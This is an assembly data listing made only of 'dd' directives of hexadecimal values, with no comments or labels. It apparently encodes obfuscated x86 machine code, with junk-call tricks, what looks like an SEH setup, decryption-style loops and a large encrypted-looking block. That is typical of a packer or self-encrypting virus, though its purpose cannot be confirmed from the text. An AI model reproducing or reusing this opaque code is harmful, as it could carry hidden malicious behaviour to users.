		dd 8B660000h, 68961DFh,	8BDABF0Fh, 121A8985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 4468932h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	17C35242h, 9D899ED7h, 6122A99h,	24348950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 53C35545h, 8EE32C66h
		dd 0FA8BFDECh, 0BD77B5FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BE86AC3h
		dd 7F000000h, 29371A09h, 0D77ED777h, 0BD8B1EAFh, 6121185h
		dd 0A5BD315Bh, 6806122Ch, 0BF9BBDDEh, 4818CB7h,	83462124h
		dd 0D5BD8B40h, 8D061213h, 15BD7F85h, 9043B706h,	8B525050h
		dd 0E9310FFEh, 10h, 678B181Eh, 430907Fh, 0E1D66B75h, 595F011Fh
		dd 6A90585Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 9D2C355h, 121BBD95h, 5D95FF06h
		dd 0F061232h, 6A61F9BFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0ACEAC351h,	9AF2DFF6h
		dd 85C7F8F1h, 6122E5Dh,	3, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0D0C35343h, 2B840FADh, 0E8000000h, 13h
		dd 2E4F8A3Ah, 1B60F2FDh, 9DB97450h, 0D7F3A15Dh,	0E9BA11CAh
		dd 0Dh,	72A31798h, 4B396DE7h, 72887CCEh, 0BD835B6Eh, 615BD7Fh
		dd 3B840F00h, 0BF000000h, 53D79E7Eh, 4CE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 850F3D67h, 3, 0FDABF0Fh, 585h, 0E7816600h, 30501E93h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 959D01C0h, 0E9061231h, 5, 0B9D8B27Dh, 5DBD83F9h, 306122Eh
		dd 3C4850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66F973C3h, 974F381h
		dd 0BD7FBD83h, 0F000615h, 39584h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 960A9845h
		dd 0FFE7F23Ah, 15BD7FB5h, 499D8906h, 0FF061214h, 1213B195h
		dd 1880F06h, 0FC000000h, 0BD73B58Bh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 4E0433C3h
		dd 0F8BF0FB0h, 68D0Fh, 8D890000h, 6121591h, 106C7h, 6A0001h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0B6114EC3h, 77567683h, 0F57507Ah, 489h, 96BB6600h, 34895F28h
		dd 0FEBF0F24h, 0BD7FB5FFh, 8D290615h, 6122A2Dh,	10DD95FFh
		dd 0BD8B0612h, 6120ABDh, 0BD73B58Bh, 81660615h,	8BB90BC7h
		dd 12231185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 81B920B1h, 396A1CF7h, 0C4868936h
		dd 0BB000000h, 70081F67h, 2791958Bh, 9D290612h,	6120005h
		dd 304C283h, 122F1D9Dh,	4D952906h, 89061208h, 6A2050h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0A5918DC3h, 1B051D9h, 0F721BCAh, 68Ch, 7D9D8B00h, 8D061209h
		dd 15D32B85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 163C554Bh, 0C8A0FC6h, 0F000000h
		dd 688h, 0A98D3100h, 89061221h,	0B886h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 56860889h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B5FFB8C3h, 615BD7Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 99C35141h, 860FF8h
		dd 0FF000000h, 12162195h, 0BE806h, 9520000h, 1A064257h
		dd 23F13C7Eh, 2870FB6h,	60000000h, 60505B61h, 0FC43BE66h
		dd 24348961h, 1C79BD33h, 0B5FF0612h, 615BD7Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DDC35545h, 24BD9B4Dh
		dd 0DC18337h, 95FFFB8Bh, 612033Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0E3C35141h,	6D272884h, 5D56EC79h
		dd 0C3EB8166h, 0CDBD8380h, 61224h, 30840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 6D6B1AC3h, 8BE25A75h, 0D9BF0FD8h, 0DA8B6650h, 66243489h
		dd 0B5FFF88Bh, 615BD7Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 29C35343h, 2D3B60D2h,	95FFC3ACh, 6122AE9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 31C35343h
		dd 0EE904h, 5E30000h, 98529F45h, 523554C1h, 0A2596626h
		dd 0BD7FB5FFh, 95FF0615h, 6120529h, 38C0Fh, 0F3800000h
		dd 0C8F0F62h, 0E8000000h, 6, 1207C290h,	835FE908h, 121445BDh
		dd 840F0206h, 1Dh, 1DCB8166h, 25858B02h, 0BF06122Ah, 7FDC0B0Dh
		dd 500000C6h, 221D9D8Bh, 0B75B0612h, 3185C7BBh,	61230h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 4BD6C353h, 5DE9300Dh, 6AFFFFF4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 1E85C356h, 3C7B7912h, 0B70F4DDCh,	6AC18BF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 449FC356h, 34EA91Dh, 0E781E559h, 1315B7CBh
		dd 169858Dh, 85290612h,	6123195h, 0FA8B6690h, 0FE8B6650h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0B589DF3Ah, 6120F79h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6F01CFC3h
		dd 6D9D8B00h, 0F5061203h, 0BD89006Ah, 6122BA1h,	2A62858Dh
		dd 5B560617h, 5005C083h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A94BC357h
		dd 8E95Ch, 0B3B00000h, 986F29DFh, 6ACE34h, 625BD8Bh, 6A0612h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h
		dd 41E5B181h, 6985094Eh, 0FF061227h, 1204AD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F4451808h, 5ACEEB81h, 9D8B49A7h, 6121255h, 9D1A8D8Dh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0F6D7BFC3h, 6B231420h, 89D1FFD4h,	122AF99Dh
		dd 0E9BD8306h, 106121Fh, 81850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5FBDACC3h
		dd 63E46FE5h, 6A2BCC50h, 51006A02h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0DD9D893Ch, 90061211h
		dd 6650D98Bh, 9002C0BFh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 58C35040h, 5FD20EEFh,	0C1D52720h, 0DA8B666Fh
		dd 162195FFh, 0E9F90612h, 0D23h, 0E8h, 0ED815D00h, 6172A6Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E1C35545h
		dd 0C5DC3476h, 6ADC6972h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 49D7C353h, 2861CB1Bh
		dd 7E81Ah, 83E10000h, 0BCE889CBh, 858D5F6Ah, 61595CAh
		dd 32CDBD8Bh, 890F0612h, 3, 50F8BF0Fh, 5B5B5357h, 8B240489h
		dd 1209C5BDh, 35FF6406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EDC35141h
		dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 3850C357h, 50511D09h
		dd 3DC38166h, 0E95B5B89h, 11h, 0C27DF0ACh, 0FC6D9072h
		dd 0A1282E00h, 7121CDD0h, 6D85FFBCh, 9061213h, 1232359Dh
		dd 0E9FF6A06h, 0Ch, 0F37CC71Fh,	95B52740h, 0F7EE836Eh
		dd 31DB5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 2238E3C3h, 61E1405Dh, 35C995FFh
		dd 41E90612h, 0F000001h, 0B0FEB7h, 31618589h, 70E60612h
		dd 96D9D29h, 71E40612h,	3CF88B66h, 21830F61h, 89000001h
		dd 121359B5h, 0C8B60F06h, 0CE8h, 0B140800h, 340A06B2h
		dd 0F88F75F0h, 0DE9FBh,	44B70000h, 347FAB75h, 0A9B64757h
		dd 5B38D2D1h, 6830Fh, 0F3810000h, 43EE2172h, 6BAh, 1958900h
		dd 8B061224h, 0B58B60C1h, 612277Dh, 1C25850Bh, 0C1610612h
		dd 576004E8h, 23399589h, 8B5A0612h, 122B2D85h, 8B666106h
		dd 0E2F766D9h, 0A90EC4BFh, 89C82B0Bh, 123149BDh, 60D18B06h
		dd 880F53h, 5F000000h, 81B531h,	0E9610612h, 90h, 9298BF66h
		dd 554C858Bh, 0F524947h, 835FF9B7h, 9D8B07C0h, 61205C5h
		dd 0E900C083h, 9, 438B542Fh, 0AA3A1E1Dh, 858950B3h, 6123305h
		dd 0FD03B5Bh, 1983h, 4D9D0300h,	0E906121Ah, 4Ch, 6810Fh
		dd 0C7810000h, 213FE92Fh, 8D8BFD8Ah, 0FFFFFFFFh, 0B529FD8Ah
		dd 6121A5Dh, 0F01E183h,	2784h, 19858900h, 83061200h, 0FFFFFFA5h
		dd 8B57FEFFh, 121BD99Dh, 95895F06h, 4947554Ch, 0EF816651h
		dd 0E95B07B4h, 0
		dd 0AA21B58Dh, 6A0616h,	34199D89h, 95FF0612h, 6122475h
		dd 11E9h, 0C203C900h, 0BFB5048h, 0C9A671CBh, 60B08A95h
		dd 9EB91A29h, 8B000010h, 12279DBDh, 0FCE18306h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 94C35141h, 7E9A8h
		dd 74E50000h, 1A3AEE7Ch, 619D8B7Ah, 0FC061231h,	0D6C78166h
		dd 559D8BDCh, 0B8061203h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 67C35343h
		dd 2C2AB227h, 0A8BDB7E7h, 0BAB8h, 85890000h, 6122FF1h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 17880Fh, 0FE80000h
		dd 33000000h, 0DDFB025Bh, 0BC1064F0h, 610189F2h, 57B37F06h
		dd 0E381665Fh, 880D5EA6h, 8B000000h, 91958BDFh,	6A061227h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 5E95C353h, 60DEB70Fh, 2810Fh, 0D68B0000h
		dd 0CE9h, 0AE1C6100h, 11DBF903h, 635D0B9h, 8D8B610Bh, 6123439h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D6C35343h
		dd 0CC95C304h, 0A18EFE7Eh, 2AA5BD23h, 8B500612h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 78C35747h, 19A60174h, 6AF9BF0Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 139BC350h, 0C941669Eh, 0BD83C6AEh, 612042Dh
		dd 41840F00h, 66000000h, 8CB6F781h, 0B8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 13AF42F6h, 8D8D6452h, 6125065h, 19DDB589h, 0BD8B0612h
		dd 6120411h, 0D98AE1FFh, 2E5DBD83h, 0F000612h, 45484h
		dd 83DFB300h, 122E5DBDh, 840F0106h, 460h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 76C35040h, 88FCB51Ch
		dd 0BD0B53F2h, 6122619h, 5DBD835Fh, 306122Eh, 3F4860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F0F2FC3h, 38Ch, 0D98B6600h, 32BCEB81h, 6A602EC5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 97F4C351h, 0D02C8DACh, 0BD8B782Eh, 61207A9h
		dd 8166D98Ah, 66F464D3h, 8953D98Ch, 1203BD95h, 0E1805F06h
		dd 9E904h, 3B5A0000h, 6ADA047Fh, 0AD6F77Bh, 8F840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 7BA5C353h, 354D9D8Bh, 6CBF0612h
		dd 8B348E80h, 121A8985h, 1D8D3106h, 33061216h, 12143D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 2F28BCC6h, 90EEB3C8h, 5E8h, 4476B100h, 505B3EFAh
		dd 8E9h, 8EB0D800h, 79A4CE83h, 0DB819055h, 0B3422E8h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0B93D00C3h, 0C3E248B4h, 0E82FE3DBh, 12h, 95DE9B58h
		dd 0FA5E8479h, 0F531F0B0h, 8C8866E7h, 685B5058h, 9B785E7Bh
		dd 5FF98B51h, 84240481h, 6A64A6A5h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 955EC357h
		dd 7BB7B5F9h, 15F99D89h, 95FF0612h, 612325Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 61C35141h, 0D040E661h
		dd 85892B12h, 615BD7Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0E9C35242h, 7B9C3BC1h, 30A76E31h, 498D31D5h
		dd 81061224h, 60C458F7h, 1CCE93Eh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2FF589C3h
		dd 0BE875DFh, 3C000000h, 0A3043669h, 0CB1988C9h, 0BF537F3Fh
		dd 315A0670h, 858B5B5Bh, 615BD77h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0EBC35141h,	9C9F2F35h, 0C7FABF0Fh
		dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8531A2E1h, 6123399h, 0CEF38157h
		dd 5B3695F2h, 0BD7BB58Bh, 11B70615h, 2D49858Bh,	6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 68969C3h, 31B58960h,	9061220h, 120C5D85h, 858B6106h
		dd 6121A89h, 9D89FE8Ah,	6122BE5h, 6A044689h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 37C6C357h, 8B966105h, 8E0F50F9h, 0Ah, 0DF8B5250h, 5B3310Fh
		dd 6A96585Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 9C21C350h, 3EF38099h, 0BD77B5FFh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0FE1D63C3h, 303DC193h, 1FC7814Bh,	68184FF2h
		dd 0FFD3D3CFh, 943432BFh, 2404817Eh, 4B3030h, 0BD7F858Dh
		dd 60520615h, 2C0D9529h, 0C7810612h, 1F781E33h,	0E8505F61h
		dd 10h,	0CB8BBC17h, 735290F1h, 0A974C008h, 0DFCD6E37h
		dd 0DE9h, 767FDD00h, 1FBA2F6Ah,	3AF38E60h, 895F27ADh, 81662404h
		dd 0E9A321EFh, 8, 3951801Ch, 0F807AE7h,	325D95FFh, 0C7610612h
		dd 122E5D85h, 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B8214B1h, 12346D9Dh
		dd 7FBD8306h, 615BDh, 14840Fh, 0B70F0000h, 27E9F8h, 0DF810000h
		dd 7891794Ch, 21B5BD89h, 30500612h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 798D89C0h, 8106121Ch
		dd 39B998F3h, 5DBD8379h, 306122Eh, 3F2850Fh, 0DB800000h
		dd 7FBD83A9h, 615BDh, 3E2840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9E3B5BC3h
		dd 0D4BD8B9Eh, 0B5FF2113h, 615BD7Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0F9C35646h,	0F32C056h, 9589894Eh
		dd 6123505h, 10E9h, 2B961D00h, 0A1182450h, 0C3F95BA0h
		dd 0C3DACFF8h, 0B195FF93h, 8B061213h, 121B2D9Dh, 73B58B06h
		dd 890615BDh, 122D45BDh, 106C706h, 66000100h, 1423D781h
		dd 24348950h, 349DBD8Bh, 0B5FF0612h, 615BD7Fh, 8E9h, 98345200h
		dd 96AD8303h, 0B58960BBh, 61213B5h, 9759D89h, 0FF610612h
		dd 1210DD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4E216038h, 83A18D8Bh, 12E9h, 2ECE2D00h
		dd 0E476118Eh, 90ADAD38h, 5684B1BEh, 8B6A98A5h,	15BD73B5h
		dd 0B2EEBF06h, 858B68ABh, 6122311h, 278DBD8Bh, 86890612h
		dd 0C4h, 91958BF8h, 60061227h, 6830Fh, 0B58B0000h, 61213E9h
		dd 3595B589h, 83610612h, 0BD8B04C2h, 61200C9h, 31205089h
		dd 12199585h, 2B858D06h, 6A0615D3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0E13CC355h
		dd 0B8868905h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F094C357h,	45552A15h
		dd 0BD8BDCAFh, 6121CA5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 29763BC3h, 12272585h
		dd 7FB5FF06h, 6A0615BDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 6A36C353h, 9CB3136Fh, 0B618D89h, 95FF0612h, 6121621h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E0C35747h
		dd 0D75094D5h, 2DB4FC61h, 3D9D8B7Fh, 5006121Ah,	28B0Fh
		dd 52B70000h, 0E8243489h, 0Dh, 633F1F9Fh, 763E3CBDh, 0FA21D4DBh
		dd 0EDBD29E9h, 5F061207h, 0BD7FB5FFh, 95FF0615h, 612033Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F9C35242h
		dd 0F4BB6E32h, 835C1E9Eh, 1224CDBDh, 840F0006h,	5Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h, 39C0A36Dh
		dd 60053120h, 96615A50h, 8B665153h, 505B5FDEh, 0D5CDBF66h
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 58D89B0h, 80061205h, 0B5FF45C7h,	615BD7Fh
		dd 2FADBD23h, 95890612h, 61205D5h, 2AE995FFh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 7DB32EC3h, 32AC66D3h, 71B58943h, 0FF061213h,	15BD7FB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 6AB4D3CBh, 7DD1DAB5h, 9D8974B9h,	6123075h
		dd 52995FFh, 0C7810612h, 61EBCF21h, 1445BD83h, 0F020612h
		dd 5984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0C9493535h, 7E9E326h, 46000000h
		dd 911DBCB1h, 9E80BD5h,	0ED000000h, 522257E9h, 0E72695BDh
		dd 5800Fh, 81660000h, 5B9682C3h, 2A25858Bh, 31500612h
		dd 12117585h, 0C6F95F06h, 85C70000h, 6123031h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A1C35141h
		dd 10AB984Ch, 3B0AC7DDh, 0FFF3DCE9h, 8BDA8AFFh,	75B529C1h
		dd 0E9061232h, 14h, 0A3BAABCh, 4 dup(0)
		dd 581E9h, 913FC500h, 60061970h, 2EDA2887h, 0A47ED1h, 0CF7B88E7h
		dd 370B32h, 57BA5703h, 67CA27CDh, 0B01FF89Ah, 0F728C971h
		dd 0B5A756BAh, 650100EDh, 0EA946DFCh, 993DC651h, 2AF9501Ch
		dd 0F50C637Ch, 57AE3F4Dh, 0B748C1AFh, 0ABDC6513h, 18C243BFh
		dd 0ED8D90FFh, 0A63EC150h, 0FA829342h, 0D34E2D06h, 0B24BC8A5h
		dd 5420C25Fh, 0F7852BF5h, 9CE88C96h, 3E4AF40Dh,	82EAEB7Dh
		dd 0F94406FAh, 0F13119AEh, 7CF98731h, 0A38FC001h, 1FF89A67h
		dd 0BBC971B0h, 0FA822FABh, 0C26CB506h, 24CE57B6h, 3C165F58h
		dd 0EF5BCC20h, 0F78B299Bh, 9746D0h, 6DE30000h, 0C651EA94h
		dd 90ED9B3Bh, 0DE196913h, 0CF06FA82h, 75E4F258h, 0FD7804AAh
		dd 8B474178h, 0B8F5D0F7h, 576A150h, 0C73C3FF9h,	1A7h, 0D0BF4200h
		dd 5E29AA4Eh, 0C59A3CC5h, 35A749D5h, 5AABAF9Ah,	2AA9C4B0h
		dd 6B19C343h, 0ED2A930Eh, 0FAFA5A9Bh, 0C89F406h, 0D12C3B60h
		dd 0AD264331h, 0EF9D41C2h, 7400A47Eh, 8710702Dh, 0A2023F26h
		dd 56D269Fh, 65B8FA05h,	6F6495FBh, 7BC206FAh, 51970FCh
		dd 0DD581563h, 0BFFC815Eh, 0FA6FA829h, 0BE370606h, 4FA852D3h
		dd 0E8966DE8h, 4EA2DF9Ch, 6FA828Fh, 0B6D15229h,	52BBC96Dh
		dd 9B41C3CFh, 671590EDh, 9771FE6h, 5482E85Bh, 0FA82BD3Ch
		dd 0A5201B06h, 202E0403h, 0CD46F031h, 58B965A2h, 358630F1h
		dd 0FC8544DBh, 970C9661h, 0CC9E64E5h, 0FA9F35A4h, 0C1A89306h
		dd 8CE99741h, 590E6311h, 943F99F1h, 7A70D0F7h, 11000000h
		dd 0AD4DD0BFh, 4621A2DFh, 346715C1h, 0B132DC25h, 75B950D6h
		dd 0AA23FA0h, 6DB4C03Fh, 75B26EC4h, 42C128C9h, 9D61E894h
		dd 620CD0E6h, 6088411Bh, 6FA8471h, 72F16CCFh, 0D57F8706h
		dd 29E026A7h, 25108C70h, 3745C008h, 2A42281Fh, 0C098F2A7h
		dd 0D0F75AD0h, 52D9h, 966D7800h, 0F00D9CE8h, 0A462ED4Eh
		dd 0B9CF8CF8h, 6FA8238h, 0AB28A796h, 0B2988BC1h, 0E405B176h
		dd 0EE02BF8Dh, 6FA82EFh, 1671F249h, 4B1B690Dh, 6FA828Fh
		dd 18640A15h, 0B8C472B1h, 0A955D2BDh, 553D4ADBh, 66CD339h
		dd 0F78B32B2h, 15FD0h, 0BFFA0000h, 2DA652D0h, 6C18C442h
		dd 0E7A24FDh, 9692F831h, 47B6DA90h, 0E106FA82h,	8A30F39Ah
		dd 0EB0483FEh, 67D43886h, 21B19F09h, 7EF7685Ah,	0AA0FAFC1h
		dd 14670CE8h, 7620E168h, 47EF3699h, 0EE9C6BF6h,	787F0775h
		dd 2B00E8DBh, 0F161278h, 9BF58A67h, 8B180A58h, 0D2BD36EEh
		dd 712AB53h, 4C2957FDh,	0DD24A5D7h, 180F4735h, 872FF632h
		dd 0FC3DAF6Ah, 6E52D6E5h, 0F7000001h, 582D21BFh, 0E53848C7h
		dd 59BB0360h, 98508CE4h, 1B460CE8h, 5914600Ah, 2BF661DAh
		dd 0CEB93496h, 7FF7E0h,	0F07CF974h, 5DDE8899h, 4648BE03h
		dd 0A2F2A140h, 4ECF5194h, 0C66FF6D5h, 0BB2B0E07h, 2BD52D3Ch
		dd 4AA3205Dh, 8741EE7h,	88E88081h, 38BA9FF8h, 7C7DE78Ch
		dd 0DA00E851h, 0F898E463h, 0B8F5E34Fh, 0E851A150h, 0B4DFC00h
		dd 49E29CF5h, 0DDAC2914h, 0BA7D9A44h, 0D6E5E64Ah, 5427h
		dd 2BFC200h, 0FA82EFEEh, 0A4CC4906h, 6FA8235h, 0A82DA893h
		dd 1F9C06DBh, 0BDD3A8C9h, 0C9B78634h, 0FA8238B9h, 5E347F86h
		dd 40131070h, 95B6F8A3h, 46E7310h, 0D30051B7h, 93FEB4BDh
		dd 2A77EC8Eh, 3FBA68BFh, 0A3F0A2h, 0E4B0000h, 0FA82FBFAh
		dd 6DE65506h, 14F6F0Ah,	62DB5600h, 0F9872DF7h, 6CEB8F90h
		dd 0A6264AF7h, 0CE876h,	47DE4F3Dh, 0F0331E9Fh, 0D930C94Ah
		dd 82D29E48h, 0E89EF8h,	6AA7E403h, 0E89FD706h, 9A0A7100h
		dd 0E89F5Bh, 19076936h,	237895CBh, 0C0AADB58h, 0D57F8792h
		dd 63A3CAA7h, 0D42D3CB9h, 73B0CD2Ah, 0E818DC1Dh, 0AB3D7A00h
		dd 0E8182Ah, 0B93AB984h, 0DAE12ACh, 0F71181FBh,	672C90Ah
		dd 0A8D47E87h, 3EEC468Fh, 42FF3CA0h, 2BA84AD7h,	0CC5A4FA5h
		dd 0AB78E700h, 7FF471FFh, 81BE5B22h, 6FE49096h,	0ED4F6F08h
		dd 8BC23850h, 0B18C0CE5h, 788998C3h, 4E3AE222h,	4BD5B433h
		dd 199AD7A5h, 24E3B74Eh, 0F06F0A76h, 0C169B817h, 2FE91C7Ch
		dd 51B6B499h, 0CBD8A8D4h, 0EF051910h, 0F130F05Ah, 9E65F449h
		dd 6CE984F0h, 3E53C93h,	0BE11ECEDh, 74F34A14h, 0DB7D8108h
		dd 652BF762h, 0E885F39Dh, 0E1621F6Dh, 0B09F9C9Bh, 1F48CD6Dh
		dd 842EF733h, 2FDB2837h, 4EAF2441h, 8F9422E3h, 5DD895E3h
		dd 8C4DA3E0h, 2A14BE11h, 9CAAD253h, 3, 6DF99845h, 329BE997h
		dd 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h, 27A6D280h
		dd 0C24B39DBh, 7DEC9844h, 2D70FCA2h, 81E78957h,	4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 8956241Ch, 4C681E6h, 83000000h
		dd 348704EEh, 0C895C24h, 3DA6824h, 3C890000h, 63685524h
		dd 5D389137h, 6245ED81h, 0EDC11BA6h, 0FCBE5606h, 3106649Ch
		dd 0E9895EF5h, 3C8B545Dh, 4C48324h, 6C9868h, 240C8900h
		dd 5D242C81h, 8F542817h, 47810847h, 28175D08h, 2434FF54h
		dd 4C4835Fh, 56240C8Bh,	0C681E689h, 4, 8704C683h, 0E95C2434h
		dd 0FFFB4354h, 1255371h, 0FFD6D1E5h, 93B8FD06h,	306173Ch
		dd 0FCE0FFC5h, 0CC3F7A58h, 37225561h, 3B3A992Ah, 0FA71A245h
		dd 6B697AF0h, 8D1B538Ch, 814BDA17h, 0CF4C9241h,	6D174AD3h
		dd 512F932Bh, 7C007331h, 0D57B38F0h, 0C87C32F8h, 0E8194550h
		dd 0Ch,	0F4FBBB67h, 7DEBACF5h, 0E95DD5DBh, 0D8B70F5Fh
		dd 7264C781h, 850F0000h, 5, 0E6842EBBh,	0E9C9330Bh, 7
		dd 0AE147D7Ah, 0FF5B882Bh, 665A3934h, 0C281D88Bh, 78636F5Ch
		dd 0F978BE66h, 4885C281h, 0DE9578Ah, 82000000h,	0C64D7658h
